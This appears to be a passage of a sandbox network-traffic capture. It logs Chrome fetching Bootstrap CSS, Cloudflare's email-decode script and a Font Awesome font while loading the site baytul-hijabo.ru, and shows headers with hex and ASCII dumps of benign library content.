2024-10-30 15:25:56 UTC	576	OUT	GET /npm/bootstrap@5.3.0/dist/css/bootstrap.min.css HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://baytul-hijabo.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:57 UTC	762	IN	HTTP/1.1 200 OK Connection: close Content-Length: 232914 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: text/css; charset=utf-8 X-JSD-Version: 5.3.0 X-JSD-Version-Type: version ETag: W/"38dd2-sjFlHg/Wi72HWBifvTZCxGLTT6Y" Accept-Ranges: bytes Date: Wed, 30 Oct 2024 15:25:56 GMT Age: 710265 X-Served-By: cache-fra-eddf8230088-FRA, cache-dfw-kdal2120094-DFW X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-10-30 15:25:57 UTC	16384	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 20 76 35 2e 33 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 33 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 2c 5b 64 61 74 61 2d 62 73 2d 74 68 65 6d 65 3d 6c 69 67 68 74 5d 7b 2d 2d 62 73 2d 62 6c 75 65 3a 23 30 64 36 65 66 64 3b 2d 2d 62 73 2d 69 6e 64 69 67 6f 3a 23 36 36 Data Ascii: @charset "UTF-8";/! Bootstrap v5.3.0 (https://getbootstrap.com/) * Copyright 2011-2023 The Bootstrap Authors * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */:root,[data-bs-theme=light]{--bs-blue:#0d6efd;--bs-indigo:#66
2024-10-30 15:25:57 UTC	16384	IN	Data Raw: 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 6d 64 2d 33 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 33 33 2e 33 33 33 33 33 33 33 33 33 33 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 6d 64 2d 34 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 32 35 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 6d 64 2d 35 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 32 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 6d 64 2d 36 3e 2a 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 31 36 2e 36 36 36 36 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 6d 64 2d 61 75 74 6f 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a 61 75 74 6f 7d 2e 63 6f 6c 2d 6d 64 2d 31 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 3b 77 69 64 74 68 3a Data Ascii: }.row-cols-md-3>{flex:0 0 auto;width:33.3333333333%}.row-cols-md-4>{flex:0 0 auto;width:25%}.row-cols-md-5>{flex:0 0 auto;width:20%}.row-cols-md-6>{flex:0 0 auto;width:16.6666666667%}.col-md-auto{flex:0 0 auto;width:auto}.col-md-1{flex:0 0 auto;width:
2024-10-30 15:25:57 UTC	16384	IN	Data Raw: 64 3a 31 72 65 6d 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 31 72 65 6d 7d 74 65 78 74 61 72 65 61 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 2e 35 65 6d 20 2b 20 2e 37 35 72 65 6d 20 2b 20 63 61 6c 63 28 76 61 72 28 2d 2d 62 73 2d 62 6f 72 64 65 72 2d 77 69 64 74 68 29 20 2a 20 32 29 29 7d 74 65 78 74 61 72 65 61 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2d 73 6d 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 2e 35 65 6d 20 2b 20 2e 35 72 65 6d 20 2b 20 63 61 6c 63 28 76 61 72 28 2d 2d 62 73 2d 62 6f 72 64 65 72 2d 77 69 64 74 68 29 20 2a 20 32 29 29 7d 74 65 78 74 61 72 65 61 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2d 6c 67 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 2e 35 65 Data Ascii: d:1rem;margin-inline-end:1rem}textarea.form-control{min-height:calc(1.5em + .75rem + calc(var(--bs-border-width) * 2))}textarea.form-control-sm{min-height:calc(1.5em + .5rem + calc(var(--bs-border-width) * 2))}textarea.form-control-lg{min-height:calc(1.5e
2024-10-30 15:25:57 UTC	16384	IN	Data Raw: 6c 69 64 61 74 65 64 20 2e 66 6f 72 6d 2d 63 68 65 63 6b 2d 69 6e 70 75 74 3a 76 61 6c 69 64 3a 66 6f 63 75 73 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 2e 32 35 72 65 6d 20 72 67 62 61 28 76 61 72 28 2d 2d 62 73 2d 73 75 63 63 65 73 73 2d 72 67 62 29 2c 2e 32 35 29 7d 2e 66 6f 72 6d 2d 63 68 65 63 6b 2d 69 6e 70 75 74 2e 69 73 2d 76 61 6c 69 64 7e 2e 66 6f 72 6d 2d 63 68 65 63 6b 2d 6c 61 62 65 6c 2c 2e 77 61 73 2d 76 61 6c 69 64 61 74 65 64 20 2e 66 6f 72 6d 2d 63 68 65 63 6b 2d 69 6e 70 75 74 3a 76 61 6c 69 64 7e 2e 66 6f 72 6d 2d 63 68 65 63 6b 2d 6c 61 62 65 6c 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 73 2d 66 6f 72 6d 2d 76 61 6c 69 64 2d 63 6f 6c 6f 72 29 7d 2e 66 6f 72 6d 2d 63 68 65 63 6b 2d 69 6e 6c 69 6e 65 20 2e 66 6f 72 6d 2d 63 Data Ascii: lidated .form-check-input:valid:focus{box-shadow:0 0 0 .25rem rgba(var(--bs-success-rgb),.25)}.form-check-input.is-valid~.form-check-label,.was-validated .form-check-input:valid~.form-check-label{color:var(--bs-form-valid-color)}.form-check-inline .form-c
2024-10-30 15:25:57 UTC	16384	IN	Data Raw: 62 73 2d 62 6f 72 64 65 72 2d 77 69 64 74 68 29 29 3b 2d 2d 62 73 2d 64 72 6f 70 64 6f 77 6e 2d 64 69 76 69 64 65 72 2d 62 67 3a 76 61 72 28 2d 2d 62 73 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 2d 74 72 61 6e 73 6c 75 63 65 6e 74 29 3b 2d 2d 62 73 2d 64 72 6f 70 64 6f 77 6e 2d 64 69 76 69 64 65 72 2d 6d 61 72 67 69 6e 2d 79 3a 30 2e 35 72 65 6d 3b 2d 2d 62 73 2d 64 72 6f 70 64 6f 77 6e 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 2e 35 72 65 6d 20 31 72 65 6d 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 35 29 3b 2d 2d 62 73 2d 64 72 6f 70 64 6f 77 6e 2d 6c 69 6e 6b 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 73 2d 62 6f 64 79 2d 63 6f 6c 6f 72 29 3b 2d 2d 62 73 2d 64 72 6f 70 64 6f 77 6e 2d 6c 69 6e 6b 2d 68 6f 76 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 Data Ascii: bs-border-width));--bs-dropdown-divider-bg:var(--bs-border-color-translucent);--bs-dropdown-divider-margin-y:0.5rem;--bs-dropdown-box-shadow:0 0.5rem 1rem rgba(0, 0, 0, 0.15);--bs-dropdown-link-color:var(--bs-body-color);--bs-dropdown-link-hover-color:var
2024-10-30 15:25:57 UTC	16384	IN	Data Raw: 6e 3a 61 62 73 6f 6c 75 74 65 7d 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 2d 6d 64 20 2e 6e 61 76 62 61 72 2d 6e 61 76 20 2e 6e 61 76 2d 6c 69 6e 6b 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 76 61 72 28 2d 2d 62 73 2d 6e 61 76 62 61 72 2d 6e 61 76 2d 6c 69 6e 6b 2d 70 61 64 64 69 6e 67 2d 78 29 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 76 61 72 28 2d 2d 62 73 2d 6e 61 76 62 61 72 2d 6e 61 76 2d 6c 69 6e 6b 2d 70 61 64 64 69 6e 67 2d 78 29 7d 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 2d 6d 64 20 2e 6e 61 76 62 61 72 2d 6e 61 76 2d 73 63 72 6f 6c 6c 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 2e 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 2d 6d 64 20 2e 6e 61 76 62 61 72 2d 63 6f 6c 6c 61 70 73 65 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 21 69 6d 70 Data Ascii: n:absolute}.navbar-expand-md .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-md .navbar-nav-scroll{overflow:visible}.navbar-expand-md .navbar-collapse{display:flex!imp
2024-10-30 15:25:57 UTC	16384	IN	Data Raw: 65 72 74 69 61 72 79 2d 62 67 29 3b 2d 2d 62 73 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 68 6f 76 65 72 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 73 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 29 3b 2d 2d 62 73 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 66 6f 63 75 73 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 73 2d 6c 69 6e 6b 2d 68 6f 76 65 72 2d 63 6f 6c 6f 72 29 3b 2d 2d 62 73 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 66 6f 63 75 73 2d 62 67 3a 76 61 72 28 2d 2d 62 73 2d 73 65 63 6f 6e 64 61 72 79 2d 62 67 29 3b 2d 2d 62 73 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 66 6f 63 75 73 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 30 2e 32 35 72 65 6d 20 72 67 62 61 28 31 33 2c 20 31 31 30 2c 20 32 35 33 2c 20 30 2e 32 35 29 3b 2d 2d 62 73 2d 70 61 67 69 6e Data Ascii: ertiary-bg);--bs-pagination-hover-border-color:var(--bs-border-color);--bs-pagination-focus-color:var(--bs-link-hover-color);--bs-pagination-focus-bg:var(--bs-secondary-bg);--bs-pagination-focus-box-shadow:0 0 0 0.25rem rgba(13, 110, 253, 0.25);--bs-pagin
2024-10-30 15:25:57 UTC	16384	IN	Data Raw: 70 2d 61 63 74 69 6f 6e 2d 68 6f 76 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 73 2d 65 6d 70 68 61 73 69 73 2d 63 6f 6c 6f 72 29 3b 2d 2d 62 73 2d 6c 69 73 74 2d 67 72 6f 75 70 2d 61 63 74 69 6f 6e 2d 68 6f 76 65 72 2d 62 67 3a 76 61 72 28 2d 2d 62 73 2d 69 6e 66 6f 2d 62 6f 72 64 65 72 2d 73 75 62 74 6c 65 29 3b 2d 2d 62 73 2d 6c 69 73 74 2d 67 72 6f 75 70 2d 61 63 74 69 6f 6e 2d 61 63 74 69 76 65 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 73 2d 65 6d 70 68 61 73 69 73 2d 63 6f 6c 6f 72 29 3b 2d 2d 62 73 2d 6c 69 73 74 2d 67 72 6f 75 70 2d 61 63 74 69 6f 6e 2d 61 63 74 69 76 65 2d 62 67 3a 76 61 72 28 2d 2d 62 73 2d 69 6e 66 6f 2d 62 6f 72 64 65 72 2d 73 75 62 74 6c 65 29 3b 2d 2d 62 73 2d 6c 69 73 74 2d 67 72 6f 75 70 2d 61 63 74 69 76 65 2d 63 6f Data Ascii: p-action-hover-color:var(--bs-emphasis-color);--bs-list-group-action-hover-bg:var(--bs-info-border-subtle);--bs-list-group-action-active-color:var(--bs-emphasis-color);--bs-list-group-action-active-bg:var(--bs-info-border-subtle);--bs-list-group-active-co
2024-10-30 15:25:57 UTC	16384	IN	Data Raw: 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 73 2d 70 6f 70 6f 76 65 72 2d 62 67 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6c 69 70 3a 70 61 64 64 69 6e 67 2d 62 6f 78 3b 62 6f 72 64 65 72 3a 76 61 72 28 2d 2d 62 73 2d 70 6f 70 6f 76 65 72 2d 62 6f 72 64 65 72 2d 77 69 64 74 68 29 20 73 6f 6c 69 64 20 76 61 72 28 2d 2d 62 73 2d 70 6f 70 6f 76 65 72 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 76 61 72 28 2d 2d 62 73 2d 70 6f 70 6f 76 65 72 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 29 7d 2e 70 6f 70 6f 76 65 72 20 2e 70 6f 70 6f 76 65 72 2d 61 72 72 6f 77 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 76 61 72 28 2d 2d 62 73 2d 70 6f 70 6f 76 65 72 2d 61 72 72 6f 77 2d 77 69 64 74 68 29 Data Ascii: round-color:var(--bs-popover-bg);background-clip:padding-box;border:var(--bs-popover-border-width) solid var(--bs-popover-border-color);border-radius:var(--bs-popover-border-radius)}.popover .popover-arrow{display:block;width:var(--bs-popover-arrow-width)
2024-10-30 15:25:57 UTC	16384	IN	Data Raw: 31 31 39 39 2e 39 38 70 78 29 7b 2e 6f 66 66 63 61 6e 76 61 73 2d 78 6c 2e 6f 66 66 63 61 6e 76 61 73 2d 73 74 61 72 74 7b 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 77 69 64 74 68 3a 76 61 72 28 2d 2d 62 73 2d 6f 66 66 63 61 6e 76 61 73 2d 77 69 64 74 68 29 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 76 61 72 28 2d 2d 62 73 2d 6f 66 66 63 61 6e 76 61 73 2d 62 6f 72 64 65 72 2d 77 69 64 74 68 29 20 73 6f 6c 69 64 20 76 61 72 28 2d 2d 62 73 2d 6f 66 66 63 61 6e 76 61 73 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 31 30 30 25 29 7d 2e 6f 66 66 63 61 6e 76 61 73 2d 78 6c 2e 6f 66 66 63 61 6e 76 61 73 2d 65 6e 64 7b 74 6f 70 3a 30 3b 72 69 67 68 74 3a 30 3b 77 69 64 74 68 3a 76 61 72 28 2d 2d 62 73 Data Ascii: 1199.98px){.offcanvas-xl.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}.offcanvas-xl.offcanvas-end{top:0;right:0;width:var(--bs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.16	49765	172.67.148.193	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:57 UTC	402	OUT	GET /cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js HTTP/1.1 Host: baytul-hijabo.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:57 UTC	756	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:57 GMT Content-Type: application/javascript Content-Length: 1239 Connection: close Last-Modified: Fri, 25 Oct 2024 16:48:41 GMT ETag: "671bcbe9-4d7" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7LDLMSR%2F%2BQ7MPIsBnbcZDKb0LEtt1yy%2BW%2BR%2FFR8SnGdhyjkVZeiOkldJU7VYb%2BRysKw4yiE1aLSbVgQ0ISvrTwWNS0cObIEUkHaIZSRrJNm0dZqzc98Tpr6aNv668%2BaUDQXC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dac6bc42d6e4636-DFW X-Frame-Options: DENY X-Content-Type-Options: nosniff Expires: Fri, 01 Nov 2024 15:25:57 GMT Cache-Control: max-age=172800 Cache-Control: public Accept-Ranges: bytes
2024-10-30 15:25:57 UTC	613	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 74 72 79 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 63 6f 6e 73 6f 6c 65 29 72 65 74 75 72 6e 3b 22 65 72 72 6f 72 22 69 6e 20 63 6f 6e 73 6f 6c 65 3f 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 65 29 3a 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 72 65 74 75 72 6e 20 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 27 3c 61 20 68 72 65 66 3d 22 27 2b 65 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2b 27 22 3e 3c 2f 61 3e 27 2c 64 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 30 5d 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 68 72 65 66 Data Ascii: !function(){"use strict";function e(e){try{if("undefined"==typeof console)return;"error"in console?console.error(e):console.log(e)}catch(e){}}function t(e){return d.innerHTML='<a href="'+e.replace(/"/g,""")+'"></a>',d.childNodes[0].getAttribute("href
2024-10-30 15:25:57 UTC	626	IN	Data Raw: 2e 68 72 65 66 2c 61 2b 6c 2e 6c 65 6e 67 74 68 29 29 7d 63 61 74 63 68 28 69 29 7b 65 28 69 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 74 29 7b 66 6f 72 28 76 61 72 20 72 3d 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 75 29 2c 63 3d 30 3b 63 3c 72 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 74 72 79 7b 76 61 72 20 6f 3d 72 5b 63 5d 2c 61 3d 6f 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 69 3d 6f 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 66 29 3b 69 66 28 69 29 7b 76 61 72 20 6c 3d 6e 28 69 2c 30 29 2c 64 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 54 65 78 74 4e 6f 64 65 28 6c 29 3b 61 2e 72 65 70 6c 61 63 65 43 68 69 6c 64 28 64 2c 6f 29 7d 7d 63 61 74 63 68 28 68 29 7b 65 28 68 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 61 28 74 29 7b 66 6f 72 28 76 61 72 20 Data Ascii: .href,a+l.length))}catch(i){e(i)}}function o(t){for(var r=t.querySelectorAll(u),c=0;c<r.length;c++)try{var o=r[c],a=o.parentNode,i=o.getAttribute(f);if(i){var l=n(i,0),d=document.createTextNode(l);a.replaceChild(d,o)}}catch(h){e(h)}}function a(t){for(var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	49769	104.17.24.14	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:58 UTC	653	OUT	GET /ajax/libs/font-awesome/6.5.0/webfonts/fa-solid-900.woff2 HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://baytul-hijabo.ru sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:58 UTC	971	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:58 GMT Content-Type: application/octet-stream; charset=utf-8 Content-Length: 156532 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: "656632a7-26374" Last-Modified: Tue, 28 Nov 2023 18:34:15 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 512275 Expires: Mon, 20 Oct 2025 15:25:58 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IFhlqE1uAmoa2T1xW4rsS52vr8R4jp5yyarzwWCHwBUG0FYuse3EBYNIlsJrWB932pJh732B99YtGPSSjDHd2OSmMLl4bAAOhSBKAafayVxHOFLbA060PfDdbzN3Mx8wDZqHH8a5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8dac6bc6fc8d6bae-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 15:25:58 UTC	398	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 02 63 74 00 0a 00 00 00 06 1a 41 00 02 63 28 03 05 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 36 02 24 04 20 06 60 03 ab 3c 00 81 91 02 ca 96 c2 5c cb ab 40 05 87 6d 07 20 25 20 0d 93 95 01 50 58 9d 00 00 e8 fa 36 1e 46 a4 68 f6 f0 14 91 b3 5e 0f 80 aa aa aa aa aa 66 25 04 1c d7 b6 bd aa 2a 00 08 7e f4 93 9f fd e2 57 bf f9 dd 1f fe f4 17 7f f5 37 7f f7 0f ff f4 2f ff f6 1f ff f5 3f ff f7 9f 02 83 71 f7 0f 84 69 d9 8e cb ed f1 fa fc 86 ff 68 bf d7 73 27 40 b4 49 0a c2 f3 44 95 15 ca 56 d5 46 d8 29 28 56 b2 8a 60 fd 37 aa 42 07 df a7 f1 1f 75 e9 b3 ec 0b 00 4a a7 f3 fb 49 19 55 9c 80 39 45 de 11 60 4d b7 8e cd 5a 66 95 d1 c8 ff a9 98 52 0e 26 9a 74 26 26 d2 6a 8b 8a f9 cb 2d a2 95 24 d3 17 c0 22 3b a8 3a Data Ascii: wOF2ctAc(6$ `<\@m % PX6Fh^f%*~W7/?qihs'@IDVF)(V`7BuJIU9E`MZfR&t&&j-$";:
2024-10-30 15:25:58 UTC	1369	IN	Data Raw: bf 25 8a 17 e1 93 b8 a8 45 20 f7 7f 09 70 7a 26 f8 13 4d ad be 5e 35 54 57 77 41 63 95 64 d9 96 ac b6 ba 1d 43 ac b2 a4 ee 84 95 8c e7 36 59 cc cd 12 79 89 b3 9c 65 dd 0c 2f 66 8e 50 0b c4 3a e2 1c b1 76 f7 00 ff 5f 42 e9 88 b4 d4 ba 7a 42 4f 4f cf f4 84 84 b0 00 06 98 05 66 37 63 76 16 98 bd db 3b de 5c de cb 60 3a ee 31 88 20 8f 62 48 5a 89 e2 91 22 45 11 54 24 45 85 35 69 45 cb 14 14 79 14 65 f9 94 29 d1 22 a1 10 6d cb f7 a6 43 7a 7b 9d f2 59 72 90 1c b0 ff 3f 69 6a fd bb af c2 ab 57 e1 55 48 08 0d a0 80 02 50 40 77 a3 1b d5 68 a0 3a b0 c9 22 d9 14 49 2b b0 ad 44 52 92 2d 28 51 94 e5 00 af 34 72 a0 03 e4 28 c9 bb 52 3b 48 43 67 38 d3 61 77 7b c6 49 b6 bc 63 38 c5 c3 99 2c 7b f7 7f 4c 96 35 89 93 82 aa 8f c8 52 ad ab 67 ba 7b ba 67 a6 27 a4 dd 3c bb b3 Data Ascii: %E pz&M^5TWwAcdC6Yye/fP:v_BzBOOf7cv;\`:1 bHZ"ET$E5iEye)"mCz{Yr?ijWUHP@wh:"I+DR-(Q4r(R;HCg8aw{Ic8,{L5Rg{g'<
2024-10-30 15:25:58 UTC	1369	IN	Data Raw: 88 e9 33 59 ee 8b 7f cf 02 d3 43 9f b9 c6 d3 ca 8e d9 e7 d7 2d 3f 23 1b 04 ff aa 75 23 bb fa 69 5c 0b cf 77 f5 69 69 7c 4b c9 8e d6 75 ee 1c 67 63 5f 25 fa a9 be d9 e8 3e 35 3e cb ac d9 b3 c0 54 d9 b6 1c b3 d8 37 c1 33 02 7b 3f 13 ae c8 b7 75 89 75 b6 a5 ab ee 87 19 53 a6 8f ea d1 dd 9b 33 bd ef 8b c3 06 fc 41 e5 d1 b5 05 c8 91 77 bf b7 ca 19 18 6a 41 bc 07 23 b9 b3 64 ce 9d 85 ac 8e 06 dd 2c 8f 9f 9c ec ca 6d 7e b7 1a e7 69 03 bd d6 c0 0f 93 67 2a 98 36 5b 3d de 45 aa d9 e4 77 44 ff 52 ce a2 f6 b3 b7 a7 5d e6 eb 59 9b ab 26 f5 9e e1 d0 65 6b 78 71 6d 94 fa 52 f8 7b 3b e6 e3 71 52 a7 cc 87 96 ab a9 6f 23 be fd 59 d5 3c f6 fe 33 3e 49 cd 2b e5 5b 8f 13 6a 6a fc 5c a8 9a cd 79 34 03 b7 7f 81 e3 a0 47 2b 78 c5 ba 0d 9c c5 d7 9c f6 3e 37 3f 08 3f 5f 97 b4 ce Data Ascii: 3YC-?#u#i\wii\|Kugc_%>5>T73{?uuS3AwjA#d,m~ig*6[=EwDR]Y&ekxqmR{;qRo#Y<3>I+[jj\y4G+x>7??_
2024-10-30 15:25:58 UTC	1369	IN	Data Raw: 77 c2 fd e1 d5 b0 3a 7c 16 fe 0e ff 10 f4 e8 33 60 26 73 59 4a cd 28 2d 43 d6 62 1d d6 63 7d b6 60 4b b6 a7 63 47 0e e1 50 0e e3 70 8e e0 48 8e e7 04 56 71 31 97 70 39 57 72 15 57 73 0d d7 72 1d 37 71 2b 77 70 17 f7 f3 00 0f f2 10 0f f3 08 8f f2 18 8f f3 04 4f f2 14 2f f2 0e ef f2 31 9f f0 29 5f f0 25 5f f1 3b 7f f1 af 40 94 04 12 91 44 49 92 64 49 91 74 c9 94 2c c9 96 1c c9 95 3c 29 15 23 0d a5 b3 74 95 6e d2 43 fa 4a 3f e9 2f 03 65 9c 6c 91 ad b2 ad b2 49 65 d3 da a9 b5 8b 6b 97 d4 8e d5 ee 55 13 57 83 87 e8 26 8e 29 6d 06 98 09 66 91 59 62 36 9b 6d 66 9f 39 68 8e 9a 9b e6 91 79 69 9c e4 96 62 52 4a ea 48 5b e9 2c dd 65 a8 8c 97 99 b2 54 36 c9 2e 39 26 e7 e4 92 dc 95 fb f2 50 3e ca 17 f9 2e ff 6d 64 9b c6 66 b7 c5 ed 64 bb cc 1e b4 47 ed 79 7b c5 de b0 Data Ascii: w:\|3`&sYJ(-Cbc}`KcGPpHVq1p9WrWsr7q+wpO/1)_%_;@DIdIt,<)#tnCJ?/elIekUW&)mfYb6mf9hyibRJH[,eT6.9&P>.mdfdGy{
